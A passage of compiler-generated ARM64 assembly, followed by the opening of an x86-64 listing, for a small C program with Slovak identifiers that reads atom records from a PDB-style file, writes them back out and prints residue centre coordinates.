ldur w8, [x29, #-8]
ldrsw x10, [x10, _pocet_resid@PAGEOFF]
lsl x10, x10, #4
str w8, [x9, x10]
b LBB0_8
LBB0_4: ; in Loop: Header=BB0_1 Depth=1
ldur x9, [x29, #-16] ; 8-byte Folded Reload
ldr x8, [sp, #24] ; 8-byte Folded Reload
adrp x10, _pocet_resid@PAGE
ldrsw x10, [x10, _pocet_resid@PAGEOFF]
add x8, x8, x10, lsl #4
ldr w8, [x8, #8]
ldursw x10, [x29, #-8]
mov x11, #80
mul x10, x10, x11
add x9, x9, x10
ldr w9, [x9, #44]
subs w8, w8, w9
cset w8, eq
tbnz w8, #0, LBB0_6
b LBB0_5
LBB0_5: ; in Loop: Header=BB0_1 Depth=1
ldr x9, [sp, #24] ; 8-byte Folded Reload
ldur x8, [x29, #-16] ; 8-byte Folded Reload
ldur w10, [x29, #-8]
subs w10, w10, #1
adrp x11, _pocet_resid@PAGE
str x11, [sp, #8] ; 8-byte Folded Spill
ldrsw x13, [x11, _pocet_resid@PAGEOFF]
mov x12, x9
add x12, x12, x13, lsl #4
str w10, [x12, #4]
ldr w10, [x11, _pocet_resid@PAGEOFF]
add w10, w10, #1
str w10, [x11, _pocet_resid@PAGEOFF]
ldursw x12, [x29, #-8]
mov x10, #80
mul x13, x12, x10
mov x12, x8
add x12, x12, x13
ldr w12, [x12, #44]
ldrsw x14, [x11, _pocet_resid@PAGEOFF]
mov x13, x9
add x13, x13, x14, lsl #4
str w12, [x13, #8]
ldrsw x11, [x11, _pocet_resid@PAGEOFF]
add x9, x9, x11, lsl #4
add x0, x9, #12
ldursw x9, [x29, #-8]
mul x9, x9, x10
add x8, x8, x9
add x1, x8, #40
mov x2, #-1
bl ___strcpy_chk
ldr x10, [sp, #8] ; 8-byte Folded Reload
ldr x9, [sp, #24] ; 8-byte Folded Reload
ldur w8, [x29, #-8]
ldrsw x10, [x10, _pocet_resid@PAGEOFF]
lsl x10, x10, #4
str w8, [x9, x10]
b LBB0_7
LBB0_6: ; in Loop: Header=BB0_1 Depth=1
ldr x9, [sp, #24] ; 8-byte Folded Reload
ldur w8, [x29, #-8]
adrp x10, _pocet_resid@PAGE
ldrsw x10, [x10, _pocet_resid@PAGEOFF]
add x9, x9, x10, lsl #4
str w8, [x9, #4]
b LBB0_7
LBB0_7: ; in Loop: Header=BB0_1 Depth=1
b LBB0_8
LBB0_8: ; in Loop: Header=BB0_1 Depth=1
b LBB0_9
LBB0_9: ; in Loop: Header=BB0_1 Depth=1
ldur w8, [x29, #-8]
add w8, w8, #1
stur w8, [x29, #-8]
b LBB0_1
LBB0_10:
bl _center
ldur w0, [x29, #-4]
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
add sp, sp, #64
ret
.cfi_endproc
; -- End function
.globl _center ; -- Begin function center
.p2align 2
_center: ; @center
.cfi_startproc
; %bb.0:
sub sp, sp, #144
.cfi_def_cfa_offset 144
stp x29, x30, [sp, #128] ; 16-byte Folded Spill
add x29, sp, #128
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, _resid@GOTPAGE
ldr x8, [x8, _resid@GOTPAGEOFF]
str x8, [sp, #40] ; 8-byte Folded Spill
adrp x8, _atoms@GOTPAGE
ldr x8, [x8, _atoms@GOTPAGEOFF]
str x8, [sp, #48] ; 8-byte Folded Spill
stur wzr, [x29, #-8]
stur wzr, [x29, #-12]
movi d0, #0000000000000000
stur d0, [x29, #-24]
stur d0, [x29, #-32]
stur d0, [x29, #-40]
stur d0, [x29, #-48]
stur d0, [x29, #-56]
str d0, [sp, #64]
str wzr, [sp, #60]
adrp x8, l___const.center.bezvodik@PAGE
add x8, x8, l___const.center.bezvodik@PAGEOFF
ldrh w8, [x8]
strh w8, [sp, #58]
stur wzr, [x29, #-8]
b LBB1_1
LBB1_1: ; =>This Loop Header: Depth=1
; Child Loop BB1_3 Depth 2
ldur w8, [x29, #-8]
adrp x9, _pocet_resid@PAGE
ldr w9, [x9, _pocet_resid@PAGEOFF]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB1_10
b LBB1_2
LBB1_2: ; in Loop: Header=BB1_1 Depth=1
ldr x8, [sp, #40] ; 8-byte Folded Reload
movi d0, #0000000000000000
stur d0, [x29, #-48]
stur d0, [x29, #-56]
str d0, [sp, #64]
stur d0, [x29, #-24]
stur d0, [x29, #-32]
stur d0, [x29, #-40]
str wzr, [sp, #60]
ldursw x9, [x29, #-8]
lsl x9, x9, #4
ldr w8, [x8, x9]
stur w8, [x29, #-12]
b LBB1_3
LBB1_3: ; Parent Loop BB1_1 Depth=1
; => This Inner Loop Header: Depth=2
ldr x9, [sp, #40] ; 8-byte Folded Reload
ldur w8, [x29, #-12]
ldursw x10, [x29, #-8]
add x9, x9, x10, lsl #4
ldr w9, [x9, #4]
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB1_8
b LBB1_4
LBB1_4: ; in Loop: Header=BB1_3 Depth=2
ldr x8, [sp, #48] ; 8-byte Folded Reload
ldursw x9, [x29, #-12]
mov x10, #80
mul x9, x9, x10
add x8, x8, x9
add x0, x8, #72
add x1, sp, #58
bl _strstr
subs x8, x0, #0
cset w8, ne
tbnz w8, #0, LBB1_6
b LBB1_5
LBB1_5: ; in Loop: Header=BB1_3 Depth=2
ldr x8, [sp, #48] ; 8-byte Folded Reload
ldursw x9, [x29, #-12]
mov x10, #80
mul x11, x9, x10
mov x9, x8
add x9, x9, x11
ldr d1, [x9, #48]
ldur d0, [x29, #-48]
fadd d0, d0, d1
stur d0, [x29, #-48]
ldursw x9, [x29, #-12]
mul x11, x9, x10
mov x9, x8
add x9, x9, x11
ldr d1, [x9, #56]
ldur d0, [x29, #-56]
fadd d0, d0, d1
stur d0, [x29, #-56]
ldursw x9, [x29, #-12]
mul x9, x9, x10
add x8, x8, x9
ldr d1, [x8, #64]
ldr d0, [sp, #64]
fadd d0, d0, d1
str d0, [sp, #64]
ldr w8, [sp, #60]
add w8, w8, #1
str w8, [sp, #60]
b LBB1_6
LBB1_6: ; in Loop: Header=BB1_3 Depth=2
b LBB1_7
LBB1_7: ; in Loop: Header=BB1_3 Depth=2
ldur w8, [x29, #-12]
add w8, w8, #1
stur w8, [x29, #-12]
b LBB1_3
LBB1_8: ; in Loop: Header=BB1_1 Depth=1
ldr x8, [sp, #40] ; 8-byte Folded Reload
ldur d0, [x29, #-48]
ldr s2, [sp, #60]
; implicit-def: $d1
fmov s1, s2
sshll.2d v1, v1, #0
; kill: def $d1 killed $d1 killed $q1
scvtf d1, d1
fdiv d0, d0, d1
stur d0, [x29, #-24]
ldur d0, [x29, #-56]
ldr s2, [sp, #60]
; implicit-def: $d1
fmov s1, s2
sshll.2d v1, v1, #0
; kill: def $d1 killed $d1 killed $q1
scvtf d1, d1
fdiv d0, d0, d1
stur d0, [x29, #-32]
ldr d0, [sp, #64]
ldr s2, [sp, #60]
; implicit-def: $d1
fmov s1, s2
sshll.2d v1, v1, #0
; kill: def $d1 killed $d1 killed $q1
scvtf d1, d1
fdiv d0, d0, d1
stur d0, [x29, #-40]
ldursw x10, [x29, #-8]
mov x9, x8
add x9, x9, x10, lsl #4
ldr w9, [x9, #8]
; implicit-def: $x10
mov x10, x9
ldursw x9, [x29, #-8]
add x8, x8, x9, lsl #4
add x9, x8, #12
ldur d2, [x29, #-24]
ldur d1, [x29, #-32]
ldur d0, [x29, #-40]
mov x8, sp
str x10, [x8]
str x9, [x8, #8]
str d2, [x8, #16]
str d1, [x8, #24]
str d0, [x8, #32]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _printf
b LBB1_9
LBB1_9: ; in Loop: Header=BB1_1 Depth=1
ldur w8, [x29, #-8]
add w8, w8, #1
stur w8, [x29, #-8]
b LBB1_1
LBB1_10:
ldur w0, [x29, #-4]
ldp x29, x30, [sp, #128] ; 16-byte Folded Reload
add sp, sp, #144
ret
.cfi_endproc
; -- End function
.globl _nacitanie ; -- Begin function nacitanie
.p2align 2
_nacitanie: ; @nacitanie
.cfi_startproc
; %bb.0:
stp x28, x27, [sp, #-32]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w27, -24
.cfi_offset w28, -32
sub sp, sp, #1200
adrp x8, _atoms@GOTPAGE
ldr x8, [x8, _atoms@GOTPAGEOFF]
str x8, [sp, #128] ; 8-byte Folded Spill
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
stur x8, [x29, #-24]
str x0, [sp, #144]
add x0, sp, #192
mov x1, #1000
bl _bzero
add x8, sp, #160
str xzr, [sp, #160]
str xzr, [sp, #168]
str xzr, [sp, #176]
stur xzr, [x8, #22]
; kill: def $x8 killed $xzr
str xzr, [sp, #136]
ldr x0, [sp, #144]
adrp x1, l_.str.1@PAGE
add x1, x1, l_.str.1@PAGEOFF
bl _fopen
str x0, [sp, #136]
ldr x8, [sp, #136]
subs x8, x8, #0
cset w8, ne
tbnz w8, #0, LBB2_2
b LBB2_1
LBB2_1:
adrp x0, l_.str.2@PAGE
add x0, x0, l_.str.2@PAGEOFF
bl _printf
mov w8, #1
str w8, [sp, #156]
b LBB2_13
LBB2_2:
b LBB2_3
LBB2_3: ; =>This Inner Loop Header: Depth=1
ldr x0, [sp, #136]
bl _feof
subs w8, w0, #0
cset w8, ne
tbnz w8, #0, LBB2_12
b LBB2_4
LBB2_4: ; in Loop: Header=BB2_3 Depth=1
adrp x8, _pocet_atomov@PAGE
ldr w8, [x8, _pocet_atomov@PAGEOFF]
mov w9, #34464
movk w9, #1, lsl #16
subs w8, w8, w9
cset w8, lt
tbnz w8, #0, LBB2_6
b LBB2_5
LBB2_5:
adrp x0, l_.str.3@PAGE
add x0, x0, l_.str.3@PAGEOFF
bl _printf
b LBB2_12
LBB2_6: ; in Loop: Header=BB2_3 Depth=1
add x0, sp, #192
str x0, [sp, #120] ; 8-byte Folded Spill
mov x1, #1000
bl _bzero
ldr x0, [sp, #120] ; 8-byte Folded Reload
ldr x2, [sp, #136]
mov w1, #1000
bl _fgets
subs x8, x0, #0
cset w8, ne
tbnz w8, #0, LBB2_8
b LBB2_7
LBB2_7:
b LBB2_12
LBB2_8: ; in Loop: Header=BB2_3 Depth=1
add x0, sp, #192
adrp x1, l_.str.4@PAGE
add x1, x1, l_.str.4@PAGEOFF
mov x2, #4
bl _strncmp
subs w8, w0, #0
cset w8, eq
tbnz w8, #0, LBB2_10
b LBB2_9
LBB2_9: ; in Loop: Header=BB2_3 Depth=1
add x0, sp, #192
adrp x1, l_.str.5@PAGE
add x1, x1, l_.str.5@PAGEOFF
mov x2, #6
bl _strncmp
subs w8, w0, #0
cset w8, ne
tbnz w8, #0, LBB2_11
b LBB2_10
LBB2_10: ; in Loop: Header=BB2_3 Depth=1
ldr x8, [sp, #128] ; 8-byte Folded Reload
adrp x9, _pocet_atomov@PAGE
str x9, [sp, #112] ; 8-byte Folded Spill
ldrsw x9, [x9, _pocet_atomov@PAGEOFF]
mov x10, #80
str x10, [sp, #104] ; 8-byte Folded Spill
mul x9, x9, x10
add x0, x8, x9
add x1, sp, #192
str x1, [sp, #88] ; 8-byte Folded Spill
mov x2, #6
str x2, [sp, #48] ; 8-byte Folded Spill
mov x3, #7
bl ___strncpy_chk
ldr x8, [sp, #88] ; 8-byte Folded Reload
ldr x11, [sp, #104] ; 8-byte Folded Reload
ldr x9, [sp, #128] ; 8-byte Folded Reload
ldr x10, [sp, #112] ; 8-byte Folded Reload
ldrsw x10, [x10, _pocet_atomov@PAGEOFF]
mul x10, x10, x11
add x9, x9, x10
strb wzr, [x9, #6]
add x1, x8, #6
add x0, sp, #160
str x0, [sp, #72] ; 8-byte Folded Spill
mov x2, #5
str x2, [sp, #16] ; 8-byte Folded Spill
mov x3, #30
str x3, [sp, #56] ; 8-byte Folded Spill
bl ___strncpy_chk
ldr x10, [sp, #104] ; 8-byte Folded Reload
ldr x8, [sp, #128] ; 8-byte Folded Reload
ldr x9, [sp, #112] ; 8-byte Folded Reload
ldr x0, [sp, #72] ; 8-byte Folded Reload
strb wzr, [sp, #165]
ldrsw x9, [x9, _pocet_atomov@PAGEOFF]
mul x9, x9, x10
add x8, x8, x9
add x8, x8, #8
mov x9, sp
str x8, [x9]
adrp x1, l_.str.6@PAGE
add x1, x1, l_.str.6@PAGEOFF
str x1, [sp, #32] ; 8-byte Folded Spill
bl _sscanf
ldr x3, [sp, #16] ; 8-byte Folded Reload
ldr x8, [sp, #88] ; 8-byte Folded Reload
ldr x11, [sp, #104] ; 8-byte Folded Reload
ldr x9, [sp, #128] ; 8-byte Folded Reload
ldr x10, [sp, #112] ; 8-byte Folded Reload
ldrsw x10, [x10, _pocet_atomov@PAGEOFF]
mul x10, x10, x11
add x9, x9, x10
add x0, x9, #12
add x1, x8, #12
mov x2, #4
str x2, [sp, #24] ; 8-byte Folded Spill
bl ___strncpy_chk
ldr x3, [sp, #24] ; 8-byte Folded Reload
ldr x8, [sp, #88] ; 8-byte Folded Reload
ldr x11, [sp, #104] ; 8-byte Folded Reload
ldr x9, [sp, #128] ; 8-byte Folded Reload
ldr x10, [sp, #112] ; 8-byte Folded Reload
ldrsw x12, [x10, _pocet_atomov@PAGEOFF]
mul x13, x12, x11
mov x12, x9
add x12, x12, x13
strb wzr, [x12, #16]
ldrb w12, [sp, #208]
ldrsw x13, [x10, _pocet_atomov@PAGEOFF]
mul x14, x13, x11
mov x13, x9
add x13, x13, x14
strb w12, [x13, #17]
ldrsw x10, [x10, _pocet_atomov@PAGEOFF]
mul x10, x10, x11
add x9, x9, x10
add x0, x9, #40
add x1, x8, #17
mov x2, #3
str x2, [sp, #80] ; 8-byte Folded Spill
bl ___strncpy_chk
ldr x2, [sp, #24] ; 8-byte Folded Reload
ldr x3, [sp, #56] ; 8-byte Folded Reload
ldr x8, [sp, #88] ; 8-byte Folded Reload
ldr x12, [sp, #104] ; 8-byte Folded Reload
ldr x10, [sp, #128] ; 8-byte Folded Reload
ldr x11, [sp, #112] ; 8-byte Folded Reload
ldr x0, [sp, #72] ; 8-byte Folded Reload
ldrsw x9, [x11, _pocet_atomov@PAGEOFF]
mul x13, x9, x12
mov x9, x10
add x9, x9, x13
strb wzr, [x9, #43]
ldrb w9, [sp, #213]
ldrsw x11, [x11, _pocet_atomov@PAGEOFF]
mul x11, x11, x12
add x10, x10, x11
strb w9, [x10, #18]
add x1, x8, #22
bl ___strncpy_chk
ldr x1, [sp, #32] ; 8-byte Folded Reload
ldr x10, [sp, #104] ; 8-byte Folded Reload
ldr x8, [sp, #128] ; 8-byte Folded Reload
ldr x9, [sp, #112] ; 8-byte Folded Reload
ldr x0, [sp, #72] ; 8-byte Folded Reload
strb wzr, [sp, #164]
ldrsw x9, [x9, _pocet_atomov@PAGEOFF]
mul x9, x9, x10
add x8, x8, x9
add x8, x8, #44
mov x9, sp
str x8, [x9]
bl _sscanf
ldr x3, [sp, #56] ; 8-byte Folded Reload
ldr x8, [sp, #88] ; 8-byte Folded Reload
ldr x12, [sp, #104] ; 8-byte Folded Reload
ldr x10, [sp, #128] ; 8-byte Folded Reload
ldr x11, [sp, #112] ; 8-byte Folded Reload
ldr x0, [sp, #72] ; 8-byte Folded Reload
ldrb w9, [sp, #218]
ldrsw x11, [x11, _pocet_atomov@PAGEOFF]
mul x11, x11, x12
add x10, x10, x11
strb w9, [x10, #19]
add x1, x8, #30
mov x2, #8
str x2, [sp, #40] ; 8-byte Folded Spill
bl ___strncpy_chk
ldr x10, [sp, #104] ; 8-byte Folded Reload
ldr x8, [sp, #128] ; 8-byte Folded Reload
ldr x9, [sp, #112] ; 8-byte Folded Reload
ldr x0, [sp, #72] ; 8-byte Folded Reload
strb wzr, [sp, #168]
ldrsw x9, [x9, _pocet_atomov@PAGEOFF]
mul x9, x9, x10
add x8, x8, x9
add x8, x8, #48
mov x9, sp
str x8, [x9]
adrp x1, l_.str.7@PAGE
add x1, x1, l_.str.7@PAGEOFF
str x1, [sp, #64] ; 8-byte Folded Spill
bl _sscanf
ldr x2, [sp, #40] ; 8-byte Folded Reload
ldr x3, [sp, #56] ; 8-byte Folded Reload
ldr x8, [sp, #88] ; 8-byte Folded Reload
ldr x0, [sp, #72] ; 8-byte Folded Reload
add x1, x8, #38
bl ___strncpy_chk
ldr x1, [sp, #64] ; 8-byte Folded Reload
ldr x10, [sp, #104] ; 8-byte Folded Reload
ldr x8, [sp, #128] ; 8-byte Folded Reload
ldr x9, [sp, #112] ; 8-byte Folded Reload
ldr x0, [sp, #72] ; 8-byte Folded Reload
strb wzr, [sp, #168]
ldrsw x9, [x9, _pocet_atomov@PAGEOFF]
mul x9, x9, x10
add x8, x8, x9
add x8, x8, #56
mov x9, sp
str x8, [x9]
bl _sscanf
ldr x2, [sp, #40] ; 8-byte Folded Reload
ldr x3, [sp, #56] ; 8-byte Folded Reload
ldr x8, [sp, #88] ; 8-byte Folded Reload
ldr x0, [sp, #72] ; 8-byte Folded Reload
add x1, x8, #46
bl ___strncpy_chk
ldr x1, [sp, #64] ; 8-byte Folded Reload
ldr x10, [sp, #104] ; 8-byte Folded Reload
ldr x8, [sp, #128] ; 8-byte Folded Reload
ldr x9, [sp, #112] ; 8-byte Folded Reload
ldr x0, [sp, #72] ; 8-byte Folded Reload
strb wzr, [sp, #168]
ldrsw x9, [x9, _pocet_atomov@PAGEOFF]
mul x9, x9, x10
add x8, x8, x9
add x8, x8, #64
mov x9, sp
str x8, [x9]
bl _sscanf
ldr x2, [sp, #48] ; 8-byte Folded Reload
ldr x3, [sp, #56] ; 8-byte Folded Reload
ldr x8, [sp, #88] ; 8-byte Folded Reload
ldr x0, [sp, #72] ; 8-byte Folded Reload
add x1, x8, #54
bl ___strncpy_chk
ldr x1, [sp, #64] ; 8-byte Folded Reload
ldr x10, [sp, #104] ; 8-byte Folded Reload
ldr x8, [sp, #128] ; 8-byte Folded Reload
ldr x9, [sp, #112] ; 8-byte Folded Reload
ldr x0, [sp, #72] ; 8-byte Folded Reload
strb wzr, [sp, #166]
ldrsw x9, [x9, _pocet_atomov@PAGEOFF]
mul x9, x9, x10
add x8, x8, x9
add x8, x8, #24
mov x9, sp
str x8, [x9]
bl _sscanf
ldr x2, [sp, #48] ; 8-byte Folded Reload
ldr x3, [sp, #56] ; 8-byte Folded Reload
ldr x8, [sp, #88] ; 8-byte Folded Reload
ldr x0, [sp, #72] ; 8-byte Folded Reload
add x1, x8, #60
bl ___strncpy_chk
ldr x1, [sp, #64] ; 8-byte Folded Reload
ldr x10, [sp, #104] ; 8-byte Folded Reload
ldr x8, [sp, #128] ; 8-byte Folded Reload
ldr x9, [sp, #112] ; 8-byte Folded Reload
ldr x0, [sp, #72] ; 8-byte Folded Reload
strb wzr, [sp, #166]
ldrsw x9, [x9, _pocet_atomov@PAGEOFF]
mul x9, x9, x10
add x8, x8, x9
add x8, x8, #32
mov x9, sp
str x8, [x9]
bl _sscanf
ldr x3, [sp, #80] ; 8-byte Folded Reload
ldr x8, [sp, #88] ; 8-byte Folded Reload
ldr x11, [sp, #104] ; 8-byte Folded Reload
ldr x9, [sp, #128] ; 8-byte Folded Reload
ldr x10, [sp, #112] ; 8-byte Folded Reload
ldrsw x10, [x10, _pocet_atomov@PAGEOFF]
mul x10, x10, x11
add x9, x9, x10
add x0, x9, #72
add x1, x8, #76
mov x2, #2
str x2, [sp, #96] ; 8-byte Folded Spill
bl ___strncpy_chk
ldr x8, [sp, #88] ; 8-byte Folded Reload
ldr x2, [sp, #96] ; 8-byte Folded Reload
ldr x11, [sp, #104] ; 8-byte Folded Reload
ldr x9, [sp, #128] ; 8-byte Folded Reload
ldr x10, [sp, #112] ; 8-byte Folded Reload
ldrsw x12, [x10, _pocet_atomov@PAGEOFF]
mul x13, x12, x11
mov x12, x9
add x12, x12, x13
strb wzr, [x12, #74]
ldrsw x10, [x10, _pocet_atomov@PAGEOFF]
mul x10, x10, x11
add x9, x9, x10
add x0, x9, #75
add x1, x8, #78
mov x3, #-1
bl ___strncpy_chk
ldr x11, [sp, #104] ; 8-byte Folded Reload
ldr x8, [sp, #128] ; 8-byte Folded Reload
ldr x9, [sp, #112] ; 8-byte Folded Reload
ldrsw x10, [x9, _pocet_atomov@PAGEOFF]
mul x10, x10, x11
add x8, x8, x10
strb wzr, [x8, #77]
ldr w8, [x9, _pocet_atomov@PAGEOFF]
add w8, w8, #1
str w8, [x9, _pocet_atomov@PAGEOFF]
b LBB2_11
LBB2_11: ; in Loop: Header=BB2_3 Depth=1
b LBB2_3
LBB2_12:
ldr x0, [sp, #136]
bl _fclose
str wzr, [sp, #156]
b LBB2_13
LBB2_13:
ldr w8, [sp, #156]
str w8, [sp, #12] ; 4-byte Folded Spill
ldur x9, [x29, #-24]
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
subs x8, x8, x9
cset w8, eq
tbnz w8, #0, LBB2_15
b LBB2_14
LBB2_14:
bl ___stack_chk_fail
LBB2_15:
ldr w0, [sp, #12] ; 4-byte Folded Reload
add sp, sp, #1200
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
ldp x28, x27, [sp], #32 ; 16-byte Folded Reload
ret
.cfi_endproc
; -- End function
.globl _zapis ; -- Begin function zapis
.p2align 2
_zapis: ; @zapis
.cfi_startproc
; %bb.0:
sub sp, sp, #144
.cfi_def_cfa_offset 144
stp x29, x30, [sp, #128] ; 16-byte Folded Spill
add x29, sp, #128
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, _atoms@GOTPAGE
ldr x8, [x8, _atoms@GOTPAGEOFF]
stur x8, [x29, #-40] ; 8-byte Folded Spill
stur x0, [x29, #-16]
; kill: def $x8 killed $xzr
stur xzr, [x29, #-24]
stur wzr, [x29, #-28]
ldur x0, [x29, #-16]
adrp x1, l_.str.8@PAGE
add x1, x1, l_.str.8@PAGEOFF
bl _fopen
stur x0, [x29, #-24]
ldur x8, [x29, #-24]
subs x8, x8, #0
cset w8, ne
tbnz w8, #0, LBB3_2
b LBB3_1
LBB3_1:
adrp x0, l_.str.2@PAGE
add x0, x0, l_.str.2@PAGEOFF
bl _printf
mov w8, #1
stur w8, [x29, #-4]
b LBB3_7
LBB3_2:
stur wzr, [x29, #-28]
b LBB3_3
LBB3_3: ; =>This Inner Loop Header: Depth=1
ldur w8, [x29, #-28]
adrp x9, _pocet_atomov@PAGE
ldr w9, [x9, _pocet_atomov@PAGEOFF]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB3_6
b LBB3_4
LBB3_4: ; in Loop: Header=BB3_3 Depth=1
ldur x8, [x29, #-40] ; 8-byte Folded Reload
ldur x0, [x29, #-24]
ldursw x9, [x29, #-28]
mov x15, #80
stur x15, [x29, #-56] ; 8-byte Folded Spill
mul x10, x9, x15
mov x9, x8
add x14, x9, x10
ldursw x9, [x29, #-28]
mul x10, x9, x15
mov x9, x8
add x9, x9, x10
ldr w9, [x9, #8]
; implicit-def: $x13
mov x13, x9
ldursw x9, [x29, #-28]
mul x10, x9, x15
mov x9, x8
add x9, x9, x10
add x12, x9, #12
ldursw x9, [x29, #-28]
mul x10, x9, x15
mov x9, x8
add x9, x9, x10
add x11, x9, #40
ldursw x9, [x29, #-28]
mul x10, x9, x15
mov x9, x8
add x9, x9, x10
ldr w9, [x9, #44]
; implicit-def: $x10
mov x10, x9
ldursw x9, [x29, #-28]
mul x16, x9, x15
mov x9, x8
add x9, x9, x16
ldr d2, [x9, #48]
ldursw x9, [x29, #-28]
mul x16, x9, x15
mov x9, x8
add x9, x9, x16
ldr d1, [x9, #56]
ldursw x9, [x29, #-28]
mul x16, x9, x15
mov x9, x8
add x9, x9, x16
ldr d0, [x9, #64]
ldursw x9, [x29, #-28]
mul x9, x9, x15
add x8, x8, x9
add x8, x8, #72
mov x9, sp
stur x9, [x29, #-48] ; 8-byte Folded Spill
str x14, [x9]
str x13, [x9, #8]
str x12, [x9, #16]
str x11, [x9, #24]
str x10, [x9, #32]
str d2, [x9, #40]
str d1, [x9, #48]
str d0, [x9, #56]
str x8, [x9, #64]
adrp x1, l_.str.9@PAGE
add x1, x1, l_.str.9@PAGEOFF
bl _fprintf
b LBB3_5
LBB3_5: ; in Loop: Header=BB3_3 Depth=1
ldur w8, [x29, #-28]
add w8, w8, #1
stur w8, [x29, #-28]
b LBB3_3
LBB3_6:
ldur x0, [x29, #-24]
bl _fclose
stur wzr, [x29, #-4]
b LBB3_7
LBB3_7:
ldur w0, [x29, #-4]
ldp x29, x30, [sp, #128] ; 16-byte Folded Reload
add sp, sp, #144
ret
.cfi_endproc
; -- End function
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
stp x28, x27, [sp, #-32]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w27, -24
.cfi_offset w28, -32
mov w9, #3456
movk w9, #3, lsl #16
adrp x16, ___chkstk_darwin@GOTPAGE
ldr x16, [x16, ___chkstk_darwin@GOTPAGEOFF]
blr x16
sub sp, sp, #48, lsl #12 ; =196608
sub sp, sp, #3456
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
stur x8, [x29, #-24]
str wzr, [sp, #52]
str w0, [sp, #48]
str x1, [sp, #40]
add x0, sp, #24, lsl #12 ; =98304
add x0, x0, #1752
mov x1, #34464
movk x1, #1, lsl #16
str x1, [sp, #32] ; 8-byte Folded Spill
bl _bzero
ldr x1, [sp, #32] ; 8-byte Folded Reload
add x0, sp, #56
bl _bzero
ldr w8, [sp, #48]
subs w8, w8, #1
cset w8, le
tbnz w8, #0, LBB4_2
b LBB4_1
LBB4_1:
ldr x8, [sp, #40]
ldr x0, [x8, #8]
bl _nacitanie
ldr x8, [sp, #40]
ldr x0, [x8, #16]
bl _zapis
b LBB4_3
LBB4_2:
adrp x0, l_.str.10@PAGE
add x0, x0, l_.str.10@PAGEOFF
bl _printf
mov x9, sp
add x8, sp, #24, lsl #12 ; =98304
add x8, x8, #1752
str x8, [sp, #8] ; 8-byte Folded Spill
str x8, [x9]
adrp x0, l_.str.11@PAGE
add x0, x0, l_.str.11@PAGEOFF
str x0, [sp, #16] ; 8-byte Folded Spill
bl _scanf
ldr x0, [sp, #8] ; 8-byte Folded Reload
bl _nacitanie
adrp x0, l_.str.12@PAGE
add x0, x0, l_.str.12@PAGEOFF
bl _printf
ldr x0, [sp, #16] ; 8-byte Folded Reload
mov x9, sp
add x8, sp, #56
str x8, [sp, #24] ; 8-byte Folded Spill
str x8, [x9]
bl _scanf
ldr x0, [sp, #24] ; 8-byte Folded Reload
bl _zapis
b LBB4_3
LBB4_3:
bl _residue
ldur x9, [x29, #-24]
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
subs x8, x8, x9
cset w8, eq
tbnz w8, #0, LBB4_5
b LBB4_4
LBB4_4:
bl ___stack_chk_fail
LBB4_5:
mov w0, #0
add sp, sp, #48, lsl #12 ; =196608
add sp, sp, #3456
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
ldp x28, x27, [sp], #32 ; 16-byte Folded Reload
ret
.cfi_endproc
; -- End function
.globl _pocet_resid ; @pocet_resid
.zerofill __DATA,__common,_pocet_resid,4,2
.globl _pocet_atomov ; @pocet_atomov
.zerofill __DATA,__common,_pocet_atomov,4,2
.comm _atoms,8000000,3 ; @atoms
.comm _resid,1600000,2 ; @resid
.section __TEXT,__cstring,cstring_literals
l___const.center.bezvodik: ; @__const.center.bezvodik
.asciz "H"
l_.str: ; @.str
.asciz "Residium: % 4d %-3.3s, center: %.2f %.2f %.2f\n"
l_.str.1: ; @.str.1
.asciz "r"
l_.str.2: ; @.str.2
.asciz "Neda sa otvorit subor!\n"
l_.str.3: ; @.str.3
.asciz "Male pole!\n"
l_.str.4: ; @.str.4
.asciz "ATOM"
l_.str.5: ; @.str.5
.asciz "HETATM"
l_.str.6: ; @.str.6
.asciz "%d"
l_.str.7: ; @.str.7
.asciz "%lf"
l_.str.8: ; @.str.8
.asciz "w"
l_.str.9: ; @.str.9
.asciz "%-6.6s %5d %-4.4s %3s %4d %8.3f %8.3f %8.3f %2.2s\n"
l_.str.10: ; @.str.10
.asciz "Zadajte nazov suboru pre nacitanie: \n"
l_.str.11: ; @.str.11
.asciz "%s"
l_.str.12: ; @.str.12
.asciz "Zadajte nazov suboru pre zapis: \n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _residue ## -- Begin function residue
.p2align 4, 0x90
_residue: ## @residue
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl $0, -8(%rbp)
movl $0, -8(%rbp)
LBB0_1: ## =>This Inner Loop Header: Depth=1
movl -8(%rbp), %eax
cmpl _pocet_atomov(%rip), %eax
jge LBB0_10
## %bb.2: ## in Loop: Header=BB0_1 Depth=1
cmpl $0, -8(%rbp)
jne LBB0_4
## %bb.3: ## in Loop: Header=BB0_1 Depth=1
movslq -8(%rbp), %rcx
